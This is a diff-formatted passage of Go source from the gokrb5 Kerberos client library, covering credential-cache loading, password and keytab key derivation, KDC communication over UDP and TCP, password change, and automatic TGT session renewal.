func NewClientFromCCache(c *credentials.CCache, krb5conf *config.Config, settings ...func(*Settings)) (*Client, error) {
|
||||
cl := &Client{
|
||||
Credentials: c.GetClientCredentials(),
|
||||
Config: krb5conf,
|
||||
settings: NewSettings(settings...),
|
||||
sessions: &sessions{
|
||||
Entries: make(map[string]*session),
|
||||
},
|
||||
cache: NewCache(),
|
||||
}
|
||||
spn := types.PrincipalName{
|
||||
NameType: nametype.KRB_NT_SRV_INST,
|
||||
NameString: []string{"krbtgt", c.DefaultPrincipal.Realm},
|
||||
}
|
||||
cred, ok := c.GetEntry(spn)
|
||||
if !ok {
|
||||
return cl, errors.New("TGT not found in CCache")
|
||||
}
|
||||
var tgt messages.Ticket
|
||||
err := tgt.Unmarshal(cred.Ticket)
|
||||
if err != nil {
|
||||
return cl, fmt.Errorf("TGT bytes in cache are not valid: %v", err)
|
||||
}
|
||||
cl.sessions.Entries[c.DefaultPrincipal.Realm] = &session{
|
||||
realm: c.DefaultPrincipal.Realm,
|
||||
authTime: cred.AuthTime,
|
||||
endTime: cred.EndTime,
|
||||
renewTill: cred.RenewTill,
|
||||
tgt: tgt,
|
||||
sessionKey: cred.Key,
|
||||
}
|
||||
for _, cred := range c.GetEntries() {
|
||||
var tkt messages.Ticket
|
||||
err = tkt.Unmarshal(cred.Ticket)
|
||||
if err != nil {
|
||||
return cl, fmt.Errorf("cache entry ticket bytes are not valid: %v", err)
|
||||
}
|
||||
cl.cache.addEntry(
|
||||
tkt,
|
||||
cred.AuthTime,
|
||||
cred.StartTime,
|
||||
cred.EndTime,
|
||||
cred.RenewTill,
|
||||
cred.Key,
|
||||
)
|
||||
}
|
||||
return cl, nil
|
||||
}
|
||||
|
||||
// Key returns the client's encryption key for the specified encryption type.
|
||||
// The key can be retrieved either from the keytab or generated from the client's password.
|
||||
// If the client has both a keytab and a password defined the keytab is favoured as the source for the key
|
||||
// A KRBError can be passed in the event the KDC returns one of type KDC_ERR_PREAUTH_REQUIRED and is required to derive
|
||||
// the key for pre-authentication from the client's password. If a KRBError is not available, pass nil to this argument.
|
||||
func (cl *Client) Key(etype etype.EType, krberr *messages.KRBError) (types.EncryptionKey, error) {
|
||||
if cl.Credentials.HasKeytab() && etype != nil {
|
||||
return cl.Credentials.Keytab().GetEncryptionKey(cl.Credentials.CName(), cl.Credentials.Domain(), 0, etype.GetETypeID())
|
||||
} else if cl.Credentials.HasPassword() {
|
||||
if krberr != nil && krberr.ErrorCode == errorcode.KDC_ERR_PREAUTH_REQUIRED {
|
||||
var pas types.PADataSequence
|
||||
err := pas.Unmarshal(krberr.EData)
|
||||
if err != nil {
|
||||
return types.EncryptionKey{}, fmt.Errorf("could not get PAData from KRBError to generate key from password: %v", err)
|
||||
}
|
||||
key, _, err := crypto.GetKeyFromPassword(cl.Credentials.Password(), krberr.CName, krberr.CRealm, etype.GetETypeID(), pas)
|
||||
return key, err
|
||||
}
|
||||
key, _, err := crypto.GetKeyFromPassword(cl.Credentials.Password(), cl.Credentials.CName(), cl.Credentials.Domain(), etype.GetETypeID(), types.PADataSequence{})
|
||||
return key, err
|
||||
}
|
||||
return types.EncryptionKey{}, errors.New("credential has neither keytab or password to generate key")
|
||||
}
|
||||
|
||||
// IsConfigured indicates if the client has the values required set.
|
||||
func (cl *Client) IsConfigured() (bool, error) {
|
||||
if cl.Credentials.UserName() == "" {
|
||||
return false, errors.New("client does not have a username")
|
||||
}
|
||||
if cl.Credentials.Domain() == "" {
|
||||
return false, errors.New("client does not have a define realm")
|
||||
}
|
||||
// Client needs to have either a password, keytab or a session already (later when loading from CCache)
|
||||
if !cl.Credentials.HasPassword() && !cl.Credentials.HasKeytab() {
|
||||
authTime, _, _, _, err := cl.sessionTimes(cl.Credentials.Domain())
|
||||
if err != nil || authTime.IsZero() {
|
||||
return false, errors.New("client has neither a keytab nor a password set and no session")
|
||||
}
|
||||
}
|
||||
if !cl.Config.LibDefaults.DNSLookupKDC {
|
||||
for _, r := range cl.Config.Realms {
|
||||
if r.Realm == cl.Credentials.Domain() {
|
||||
if len(r.KDC) > 0 {
|
||||
return true, nil
|
||||
}
|
||||
return false, errors.New("client krb5 config does not have any defined KDCs for the default realm")
|
||||
}
|
||||
}
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// Login the client with the KDC via an AS exchange.
|
||||
func (cl *Client) Login() error {
|
||||
if ok, err := cl.IsConfigured(); !ok {
|
||||
return err
|
||||
}
|
||||
if !cl.Credentials.HasPassword() && !cl.Credentials.HasKeytab() {
|
||||
_, endTime, _, _, err := cl.sessionTimes(cl.Credentials.Domain())
|
||||
if err != nil {
|
||||
return krberror.Errorf(err, krberror.KRBMsgError, "no user credentials available and error getting any existing session")
|
||||
}
|
||||
if time.Now().UTC().After(endTime) {
|
||||
return krberror.NewKrberror(krberror.KRBMsgError, "cannot login, no user credentials available and no valid existing session")
|
||||
}
|
||||
// no credentials but there is a session with tgt already
|
||||
return nil
|
||||
}
|
||||
ASReq, err := messages.NewASReqForTGT(cl.Credentials.Domain(), cl.Config, cl.Credentials.CName())
|
||||
if err != nil {
|
||||
return krberror.Errorf(err, krberror.KRBMsgError, "error generating new AS_REQ")
|
||||
}
|
||||
ASRep, err := cl.ASExchange(cl.Credentials.Domain(), ASReq, 0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
cl.addSession(ASRep.Ticket, ASRep.DecryptedEncPart)
|
||||
return nil
|
||||
}
|
||||
|
||||
// AffirmLogin will only perform an AS exchange with the KDC if the client does not already have a TGT.
|
||||
func (cl *Client) AffirmLogin() error {
|
||||
_, endTime, _, _, err := cl.sessionTimes(cl.Credentials.Domain())
|
||||
if err != nil || time.Now().UTC().After(endTime) {
|
||||
err := cl.Login()
|
||||
if err != nil {
|
||||
return fmt.Errorf("could not get valid TGT for client's realm: %v", err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// realmLogin obtains or renews a TGT and establishes a session for the realm specified.
|
||||
func (cl *Client) realmLogin(realm string) error {
|
||||
if realm == cl.Credentials.Domain() {
|
||||
return cl.Login()
|
||||
}
|
||||
_, endTime, _, _, err := cl.sessionTimes(cl.Credentials.Domain())
|
||||
if err != nil || time.Now().UTC().After(endTime) {
|
||||
err := cl.Login()
|
||||
if err != nil {
|
||||
return fmt.Errorf("could not get valid TGT for client's realm: %v", err)
|
||||
}
|
||||
}
|
||||
tgt, skey, err := cl.sessionTGT(cl.Credentials.Domain())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
spn := types.PrincipalName{
|
||||
NameType: nametype.KRB_NT_SRV_INST,
|
||||
NameString: []string{"krbtgt", realm},
|
||||
}
|
||||
|
||||
_, tgsRep, err := cl.TGSREQGenerateAndExchange(spn, cl.Credentials.Domain(), tgt, skey, false)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
cl.addSession(tgsRep.Ticket, tgsRep.DecryptedEncPart)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Destroy stops the auto-renewal of all sessions and removes the sessions and cache entries from the client.
|
||||
func (cl *Client) Destroy() {
|
||||
creds := credentials.New("", "")
|
||||
cl.sessions.destroy()
|
||||
cl.cache.clear()
|
||||
cl.Credentials = creds
|
||||
cl.Log("client destroyed")
|
||||
}
|
||||
+224
@@ -0,0 +1,224 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/errorcode"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/messages"
|
||||
)
|
||||
|
||||
// SendToKDC performs network actions to send data to the KDC.
|
||||
func (cl *Client) sendToKDC(b []byte, realm string) ([]byte, error) {
|
||||
var rb []byte
|
||||
if cl.Config.LibDefaults.UDPPreferenceLimit == 1 {
|
||||
//1 means we should always use TCP
|
||||
rb, errtcp := cl.sendKDCTCP(realm, b)
|
||||
if errtcp != nil {
|
||||
if e, ok := errtcp.(messages.KRBError); ok {
|
||||
return rb, e
|
||||
}
|
||||
return rb, fmt.Errorf("communication error with KDC via TCP: %v", errtcp)
|
||||
}
|
||||
return rb, nil
|
||||
}
|
||||
if len(b) <= cl.Config.LibDefaults.UDPPreferenceLimit {
|
||||
//Try UDP first, TCP second
|
||||
rb, errudp := cl.sendKDCUDP(realm, b)
|
||||
if errudp != nil {
|
||||
if e, ok := errudp.(messages.KRBError); ok && e.ErrorCode != errorcode.KRB_ERR_RESPONSE_TOO_BIG {
|
||||
// Got a KRBError from KDC
|
||||
// If this is not a KRB_ERR_RESPONSE_TOO_BIG we will return immediately otherwise will try TCP.
|
||||
return rb, e
|
||||
}
|
||||
// Try TCP
|
||||
r, errtcp := cl.sendKDCTCP(realm, b)
|
||||
if errtcp != nil {
|
||||
if e, ok := errtcp.(messages.KRBError); ok {
|
||||
// Got a KRBError
|
||||
return r, e
|
||||
}
|
||||
return r, fmt.Errorf("failed to communicate with KDC. Attempts made with UDP (%v) and then TCP (%v)", errudp, errtcp)
|
||||
}
|
||||
rb = r
|
||||
}
|
||||
return rb, nil
|
||||
}
|
||||
//Try TCP first, UDP second
|
||||
rb, errtcp := cl.sendKDCTCP(realm, b)
|
||||
if errtcp != nil {
|
||||
if e, ok := errtcp.(messages.KRBError); ok {
|
||||
// Got a KRBError from KDC so returning and not trying UDP.
|
||||
return rb, e
|
||||
}
|
||||
rb, errudp := cl.sendKDCUDP(realm, b)
|
||||
if errudp != nil {
|
||||
if e, ok := errudp.(messages.KRBError); ok {
|
||||
// Got a KRBError
|
||||
return rb, e
|
||||
}
|
||||
return rb, fmt.Errorf("failed to communicate with KDC. Attempts made with TCP (%v) and then UDP (%v)", errtcp, errudp)
|
||||
}
|
||||
}
|
||||
return rb, nil
|
||||
}
|
||||
|
||||
// dialKDCTCP establishes a UDP connection to a KDC.
|
||||
func dialKDCUDP(count int, kdcs map[int]string) (*net.UDPConn, error) {
|
||||
i := 1
|
||||
for i <= count {
|
||||
udpAddr, err := net.ResolveUDPAddr("udp", kdcs[i])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("error resolving KDC address: %v", err)
|
||||
}
|
||||
|
||||
conn, err := net.DialTimeout("udp", udpAddr.String(), 5*time.Second)
|
||||
if err == nil {
|
||||
if err := conn.SetDeadline(time.Now().Add(5 * time.Second)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// conn is guaranteed to be a UDPConn
|
||||
return conn.(*net.UDPConn), nil
|
||||
}
|
||||
i++
|
||||
}
|
||||
return nil, errors.New("error in getting a UDP connection to any of the KDCs")
|
||||
}
|
||||
|
||||
// dialKDCTCP establishes a TCP connection to a KDC.
|
||||
func dialKDCTCP(count int, kdcs map[int]string) (*net.TCPConn, error) {
|
||||
i := 1
|
||||
for i <= count {
|
||||
tcpAddr, err := net.ResolveTCPAddr("tcp", kdcs[i])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("error resolving KDC address: %v", err)
|
||||
}
|
||||
|
||||
conn, err := net.DialTimeout("tcp", tcpAddr.String(), 5*time.Second)
|
||||
if err == nil {
|
||||
if err := conn.SetDeadline(time.Now().Add(5 * time.Second)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// conn is guaranteed to be a TCPConn
|
||||
return conn.(*net.TCPConn), nil
|
||||
}
|
||||
i++
|
||||
}
|
||||
return nil, errors.New("error in getting a TCP connection to any of the KDCs")
|
||||
}
|
||||
|
||||
// sendKDCUDP sends bytes to the KDC via UDP.
|
||||
func (cl *Client) sendKDCUDP(realm string, b []byte) ([]byte, error) {
|
||||
var r []byte
|
||||
count, kdcs, err := cl.Config.GetKDCs(realm, false)
|
||||
if err != nil {
|
||||
return r, err
|
||||
}
|
||||
conn, err := dialKDCUDP(count, kdcs)
|
||||
if err != nil {
|
||||
return r, err
|
||||
}
|
||||
r, err = cl.sendUDP(conn, b)
|
||||
if err != nil {
|
||||
return r, err
|
||||
}
|
||||
return checkForKRBError(r)
|
||||
}
|
||||
|
||||
// sendKDCTCP sends bytes to the KDC via TCP.
|
||||
func (cl *Client) sendKDCTCP(realm string, b []byte) ([]byte, error) {
|
||||
var r []byte
|
||||
count, kdcs, err := cl.Config.GetKDCs(realm, true)
|
||||
if err != nil {
|
||||
return r, err
|
||||
}
|
||||
conn, err := dialKDCTCP(count, kdcs)
|
||||
if err != nil {
|
||||
return r, err
|
||||
}
|
||||
rb, err := cl.sendTCP(conn, b)
|
||||
if err != nil {
|
||||
return r, err
|
||||
}
|
||||
return checkForKRBError(rb)
|
||||
}
|
||||
|
||||
// sendUDP sends bytes to connection over UDP.
|
||||
func (cl *Client) sendUDP(conn *net.UDPConn, b []byte) ([]byte, error) {
|
||||
var r []byte
|
||||
defer conn.Close()
|
||||
_, err := conn.Write(b)
|
||||
if err != nil {
|
||||
return r, fmt.Errorf("error sending to (%s): %v", conn.RemoteAddr().String(), err)
|
||||
}
|
||||
udpbuf := make([]byte, 4096)
|
||||
n, _, err := conn.ReadFrom(udpbuf)
|
||||
r = udpbuf[:n]
|
||||
if err != nil {
|
||||
return r, fmt.Errorf("sending over UDP failed to %s: %v", conn.RemoteAddr().String(), err)
|
||||
}
|
||||
if len(r) < 1 {
|
||||
return r, fmt.Errorf("no response data from %s", conn.RemoteAddr().String())
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
|
||||
// sendTCP sends bytes to connection over TCP.
|
||||
func (cl *Client) sendTCP(conn *net.TCPConn, b []byte) ([]byte, error) {
|
||||
defer conn.Close()
|
||||
var r []byte
|
||||
/*
|
||||
RFC https://tools.ietf.org/html/rfc4120#section-7.2.2
|
||||
Each request (KRB_KDC_REQ) and response (KRB_KDC_REP or KRB_ERROR)
|
||||
sent over the TCP stream is preceded by the length of the request as
|
||||
4 octets in network byte order. The high bit of the length is
|
||||
reserved for future expansion and MUST currently be set to zero. If
|
||||
a KDC that does not understand how to interpret a set high bit of the
|
||||
length encoding receives a request with the high order bit of the
|
||||
length set, it MUST return a KRB-ERROR message with the error
|
||||
KRB_ERR_FIELD_TOOLONG and MUST close the TCP stream.
|
||||
NB: network byte order == big endian
|
||||
*/
|
||||
var buf bytes.Buffer
|
||||
err := binary.Write(&buf, binary.BigEndian, uint32(len(b)))
|
||||
if err != nil {
|
||||
return r, err
|
||||
}
|
||||
b = append(buf.Bytes(), b...)
|
||||
|
||||
_, err = conn.Write(b)
|
||||
if err != nil {
|
||||
return r, fmt.Errorf("error sending to KDC (%s): %v", conn.RemoteAddr().String(), err)
|
||||
}
|
||||
|
||||
sh := make([]byte, 4, 4)
|
||||
_, err = conn.Read(sh)
|
||||
if err != nil {
|
||||
return r, fmt.Errorf("error reading response size header: %v", err)
|
||||
}
|
||||
s := binary.BigEndian.Uint32(sh)
|
||||
|
||||
rb := make([]byte, s, s)
|
||||
_, err = io.ReadFull(conn, rb)
|
||||
if err != nil {
|
||||
return r, fmt.Errorf("error reading response: %v", err)
|
||||
}
|
||||
if len(rb) < 1 {
|
||||
return r, fmt.Errorf("no response data from KDC %s", conn.RemoteAddr().String())
|
||||
}
|
||||
return rb, nil
|
||||
}
|
||||
|
||||
// checkForKRBError checks if the response bytes from the KDC are a KRBError.
|
||||
func checkForKRBError(b []byte) ([]byte, error) {
|
||||
var KRBErr messages.KRBError
|
||||
if err := KRBErr.Unmarshal(b); err == nil {
|
||||
return b, KRBErr
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
+95
@@ -0,0 +1,95 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/kadmin"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/messages"
|
||||
)
|
||||
|
||||
// Kpasswd server response codes.
|
||||
const (
|
||||
KRB5_KPASSWD_SUCCESS = 0
|
||||
KRB5_KPASSWD_MALFORMED = 1
|
||||
KRB5_KPASSWD_HARDERROR = 2
|
||||
KRB5_KPASSWD_AUTHERROR = 3
|
||||
KRB5_KPASSWD_SOFTERROR = 4
|
||||
KRB5_KPASSWD_ACCESSDENIED = 5
|
||||
KRB5_KPASSWD_BAD_VERSION = 6
|
||||
KRB5_KPASSWD_INITIAL_FLAG_NEEDED = 7
|
||||
)
|
||||
|
||||
// ChangePasswd changes the password of the client to the value provided.
|
||||
func (cl *Client) ChangePasswd(newPasswd string) (bool, error) {
|
||||
ASReq, err := messages.NewASReqForChgPasswd(cl.Credentials.Domain(), cl.Config, cl.Credentials.CName())
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
ASRep, err := cl.ASExchange(cl.Credentials.Domain(), ASReq, 0)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
msg, key, err := kadmin.ChangePasswdMsg(cl.Credentials.CName(), cl.Credentials.Domain(), newPasswd, ASRep.Ticket, ASRep.DecryptedEncPart.Key)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
r, err := cl.sendToKPasswd(msg)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
err = r.Decrypt(key)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if r.ResultCode != KRB5_KPASSWD_SUCCESS {
|
||||
return false, fmt.Errorf("error response from kadmin: code: %d; result: %s; krberror: %v", r.ResultCode, r.Result, r.KRBError)
|
||||
}
|
||||
cl.Credentials.WithPassword(newPasswd)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func (cl *Client) sendToKPasswd(msg kadmin.Request) (r kadmin.Reply, err error) {
|
||||
_, kps, err := cl.Config.GetKpasswdServers(cl.Credentials.Domain(), true)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
addr := kps[1]
|
||||
b, err := msg.Marshal()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(b) <= cl.Config.LibDefaults.UDPPreferenceLimit {
|
||||
return cl.sendKPasswdUDP(b, addr)
|
||||
}
|
||||
return cl.sendKPasswdTCP(b, addr)
|
||||
}
|
||||
|
||||
func (cl *Client) sendKPasswdTCP(b []byte, kadmindAddr string) (r kadmin.Reply, err error) {
|
||||
tcpAddr, err := net.ResolveTCPAddr("tcp", kadmindAddr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
conn, err := net.DialTCP("tcp", nil, tcpAddr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
rb, err := cl.sendTCP(conn, b)
|
||||
err = r.Unmarshal(rb)
|
||||
return
|
||||
}
|
||||
|
||||
func (cl *Client) sendKPasswdUDP(b []byte, kadmindAddr string) (r kadmin.Reply, err error) {
|
||||
udpAddr, err := net.ResolveUDPAddr("udp", kadmindAddr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
conn, err := net.DialUDP("udp", nil, udpAddr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
rb, err := cl.sendUDP(conn, b)
|
||||
err = r.Unmarshal(rb)
|
||||
return
|
||||
}
|
||||
+255
@@ -0,0 +1,255 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/nametype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/krberror"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/messages"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/types"
|
||||
)
|
||||
|
||||
// sessions hold TGTs and are keyed on the realm name
|
||||
type sessions struct {
|
||||
Entries map[string]*session
|
||||
mux sync.RWMutex
|
||||
}
|
||||
|
||||
// destroy erases all sessions
|
||||
func (s *sessions) destroy() {
|
||||
s.mux.Lock()
|
||||
defer s.mux.Unlock()
|
||||
for k, e := range s.Entries {
|
||||
e.destroy()
|
||||
delete(s.Entries, k)
|
||||
}
|
||||
}
|
||||
|
||||
// update replaces a session with the one provided or adds it as a new one
|
||||
func (s *sessions) update(sess *session) {
|
||||
s.mux.Lock()
|
||||
defer s.mux.Unlock()
|
||||
// if a session already exists for this, cancel its auto renew.
|
||||
if i, ok := s.Entries[sess.realm]; ok {
|
||||
if i != sess {
|
||||
// Session in the sessions cache is not the same as one provided.
|
||||
// Cancel the one in the cache and add this one.
|
||||
i.mux.Lock()
|
||||
defer i.mux.Unlock()
|
||||
i.cancel <- true
|
||||
s.Entries[sess.realm] = sess
|
||||
return
|
||||
}
|
||||
}
|
||||
// No session for this realm was found so just add it
|
||||
s.Entries[sess.realm] = sess
|
||||
}
|
||||
|
||||
// get returns the session for the realm specified
|
||||
func (s *sessions) get(realm string) (*session, bool) {
|
||||
s.mux.RLock()
|
||||
defer s.mux.RUnlock()
|
||||
sess, ok := s.Entries[realm]
|
||||
return sess, ok
|
||||
}
|
||||
|
||||
// session holds the TGT details for a realm
|
||||
type session struct {
|
||||
realm string
|
||||
authTime time.Time
|
||||
endTime time.Time
|
||||
renewTill time.Time
|
||||
tgt messages.Ticket
|
||||
sessionKey types.EncryptionKey
|
||||
sessionKeyExpiration time.Time
|
||||
cancel chan bool
|
||||
mux sync.RWMutex
|
||||
}
|
||||
|
||||
// AddSession adds a session for a realm with a TGT to the client's session cache.
|
||||
// A goroutine is started to automatically renew the TGT before expiry.
|
||||
func (cl *Client) addSession(tgt messages.Ticket, dep messages.EncKDCRepPart) {
|
||||
if strings.ToLower(tgt.SName.NameString[0]) != "krbtgt" {
|
||||
// Not a TGT
|
||||
return
|
||||
}
|
||||
realm := tgt.SName.NameString[len(tgt.SName.NameString)-1]
|
||||
s := &session{
|
||||
realm: realm,
|
||||
authTime: dep.AuthTime,
|
||||
endTime: dep.EndTime,
|
||||
renewTill: dep.RenewTill,
|
||||
tgt: tgt,
|
||||
sessionKey: dep.Key,
|
||||
sessionKeyExpiration: dep.KeyExpiration,
|
||||
}
|
||||
cl.sessions.update(s)
|
||||
cl.enableAutoSessionRenewal(s)
|
||||
cl.Log("TGT session added for %s (EndTime: %v)", realm, dep.EndTime)
|
||||
}
|
||||
|
||||
// update overwrites the session details with those from the TGT and decrypted encPart
|
||||
func (s *session) update(tgt messages.Ticket, dep messages.EncKDCRepPart) {
|
||||
s.mux.Lock()
|
||||
defer s.mux.Unlock()
|
||||
s.authTime = dep.AuthTime
|
||||
s.endTime = dep.EndTime
|
||||
s.renewTill = dep.RenewTill
|
||||
s.tgt = tgt
|
||||
s.sessionKey = dep.Key
|
||||
s.sessionKeyExpiration = dep.KeyExpiration
|
||||
}
|
||||
|
||||
// destroy will cancel any auto renewal of the session and set the expiration times to the current time
|
||||
func (s *session) destroy() {
|
||||
s.mux.Lock()
|
||||
defer s.mux.Unlock()
|
||||
if s.cancel != nil {
|
||||
s.cancel <- true
|
||||
}
|
||||
s.endTime = time.Now().UTC()
|
||||
s.renewTill = s.endTime
|
||||
s.sessionKeyExpiration = s.endTime
|
||||
}
|
||||
|
||||
// valid informs if the TGT is still within the valid time window
|
||||
func (s *session) valid() bool {
|
||||
s.mux.RLock()
|
||||
defer s.mux.RUnlock()
|
||||
t := time.Now().UTC()
|
||||
if t.Before(s.endTime) && s.authTime.Before(t) {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// tgtDetails is a thread safe way to get the session's realm, TGT and session key values
|
||||
func (s *session) tgtDetails() (string, messages.Ticket, types.EncryptionKey) {
|
||||
s.mux.RLock()
|
||||
defer s.mux.RUnlock()
|
||||
return s.realm, s.tgt, s.sessionKey
|
||||
}
|
||||
|
||||
// timeDetails is a thread safe way to get the session's validity time values
|
||||
func (s *session) timeDetails() (string, time.Time, time.Time, time.Time, time.Time) {
|
||||
s.mux.RLock()
|
||||
defer s.mux.RUnlock()
|
||||
return s.realm, s.authTime, s.endTime, s.renewTill, s.sessionKeyExpiration
|
||||
}
|
||||
|
||||
// enableAutoSessionRenewal turns on the automatic renewal for the client's TGT session.
|
||||
func (cl *Client) enableAutoSessionRenewal(s *session) {
|
||||
var timer *time.Timer
|
||||
s.mux.Lock()
|
||||
s.cancel = make(chan bool, 1)
|
||||
s.mux.Unlock()
|
||||
go func(s *session) {
|
||||
for {
|
||||
s.mux.RLock()
|
||||
w := (s.endTime.Sub(time.Now().UTC()) * 5) / 6
|
||||
s.mux.RUnlock()
|
||||
if w < 0 {
|
||||
return
|
||||
}
|
||||
timer = time.NewTimer(w)
|
||||
select {
|
||||
case <-timer.C:
|
||||
renewal, err := cl.refreshSession(s)
|
||||
if err != nil {
|
||||
cl.Log("error refreshing session: %v", err)
|
||||
}
|
||||
if !renewal && err == nil {
|
||||
// end this goroutine as there will have been a new login and new auto renewal goroutine created.
|
||||
return
|
||||
}
|
||||
case <-s.cancel:
|
||||
// cancel has been called. Stop the timer and exit.
|
||||
timer.Stop()
|
||||
return
|
||||
}
|
||||
}
|
||||
}(s)
|
||||
}
|
||||
|
||||
// renewTGT renews the client's TGT session.
|
||||
func (cl *Client) renewTGT(s *session) error {
|
||||
realm, tgt, skey := s.tgtDetails()
|
||||
spn := types.PrincipalName{
|
||||
NameType: nametype.KRB_NT_SRV_INST,
|
||||
NameString: []string{"krbtgt", realm},
|
||||
}
|
||||
_, tgsRep, err := cl.TGSREQGenerateAndExchange(spn, cl.Credentials.Domain(), tgt, skey, true)
|
||||
if err != nil {
|
||||
return krberror.Errorf(err, krberror.KRBMsgError, "error renewing TGT for %s", realm)
|
||||
}
|
||||
s.update(tgsRep.Ticket, tgsRep.DecryptedEncPart)
|
||||
cl.sessions.update(s)
|
||||
cl.Log("TGT session renewed for %s (EndTime: %v)", realm, tgsRep.DecryptedEncPart.EndTime)
|
||||
return nil
|
||||
}
|
||||
|
||||
// refreshSession updates either through renewal or creating a new login.
|
||||
// The boolean indicates if the update was a renewal.
|
||||
func (cl *Client) refreshSession(s *session) (bool, error) {
|
||||
s.mux.RLock()
|
||||
realm := s.realm
|
||||
renewTill := s.renewTill
|
||||
s.mux.RUnlock()
|
||||
cl.Log("refreshing TGT session for %s", realm)
|
||||
if time.Now().UTC().Before(renewTill) {
|
||||
err := cl.renewTGT(s)
|
||||
return true, err
|
||||
}
|
||||
err := cl.realmLogin(realm)
|
||||
return false, err
|
||||
}
|
||||
|
||||
// ensureValidSession makes sure there is a valid session for the realm
|
||||
func (cl *Client) ensureValidSession(realm string) error {
|
||||
s, ok := cl.sessions.get(realm)
|
||||
if ok {
|
||||
s.mux.RLock()
|
||||
d := s.endTime.Sub(s.authTime) / 6
|
||||
if s.endTime.Sub(time.Now().UTC()) > d {
|
||||
s.mux.RUnlock()
|
||||
return nil
|
||||
}
|
||||
s.mux.RUnlock()
|
||||
_, err := cl.refreshSession(s)
|
||||
return err
|
||||
}
|
||||
return cl.realmLogin(realm)
|
||||
}
|
||||
|
||||
// sessionTGTDetails is a thread safe way to get the TGT and session key values for a realm
|
||||
func (cl *Client) sessionTGT(realm string) (tgt messages.Ticket, sessionKey types.EncryptionKey, err error) {
|
||||
err = cl.ensureValidSession(realm)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
s, ok := cl.sessions.get(realm)
|
||||
if !ok {
|
||||
err = fmt.Errorf("could not find TGT session for %s", realm)
|
||||
return
|
||||
}
|
||||
_, tgt, sessionKey = s.tgtDetails()
|
||||
return
|
||||
}
|
||||
|
||||
func (cl *Client) sessionTimes(realm string) (authTime, endTime, renewTime, sessionExp time.Time, err error) {
|
||||
s, ok := cl.sessions.get(realm)
|
||||
if !ok {
|
||||
err = fmt.Errorf("could not find TGT session for %s", realm)
|
||||
return
|
||||
}
|
||||
_, authTime, endTime, renewTime, sessionExp = s.timeDetails()
|
||||
return
|
||||
}
|
||||
|
||||
// spnRealm resolves the realm name of a service principal name
|
||||
func (cl *Client) spnRealm(spn types.PrincipalName) string {
|
||||
return cl.Config.ResolveRealm(spn.NameString[len(spn.NameString)-1])
|
||||
}
|
||||
+69
@@ -0,0 +1,69 @@
|
||||
package client
|
||||
|
||||
import "log"
|
||||
|
||||
// Settings holds optional client settings.
|
||||
type Settings struct {
|
||||
disablePAFXFast bool
|
||||
assumePreAuthentication bool
|
||||
preAuthEType int32
|
||||
logger *log.Logger
|
||||
}
|
||||
|
||||
// NewSettings creates a new client settings struct.
|
||||
func NewSettings(settings ...func(*Settings)) *Settings {
|
||||
s := new(Settings)
|
||||
for _, set := range settings {
|
||||
set(s)
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// DisablePAFXFAST used to configure the client to not use PA_FX_FAST.
|
||||
//
|
||||
// s := NewSettings(DisablePAFXFAST(true))
|
||||
func DisablePAFXFAST(b bool) func(*Settings) {
|
||||
return func(s *Settings) {
|
||||
s.disablePAFXFast = b
|
||||
}
|
||||
}
|
||||
|
||||
// DisablePAFXFAST indicates is the client should disable the use of PA_FX_FAST.
|
||||
func (s *Settings) DisablePAFXFAST() bool {
|
||||
return s.disablePAFXFast
|
||||
}
|
||||
|
||||
// AssumePreAuthentication used to configure the client to assume pre-authentication is required.
|
||||
//
|
||||
// s := NewSettings(AssumePreAuthentication(true))
|
||||
func AssumePreAuthentication(b bool) func(*Settings) {
|
||||
return func(s *Settings) {
|
||||
s.assumePreAuthentication = b
|
||||
}
|
||||
}
|
||||
|
||||
// AssumePreAuthentication indicates if the client should proactively assume using pre-authentication.
|
||||
func (s *Settings) AssumePreAuthentication() bool {
|
||||
return s.assumePreAuthentication
|
||||
}
|
||||
|
||||
// Logger used to configure client with a logger.
|
||||
//
|
||||
// s := NewSettings(kt, Logger(l))
|
||||
func Logger(l *log.Logger) func(*Settings) {
|
||||
return func(s *Settings) {
|
||||
s.logger = l
|
||||
}
|
||||
}
|
||||
|
||||
// Logger returns the client logger instance.
|
||||
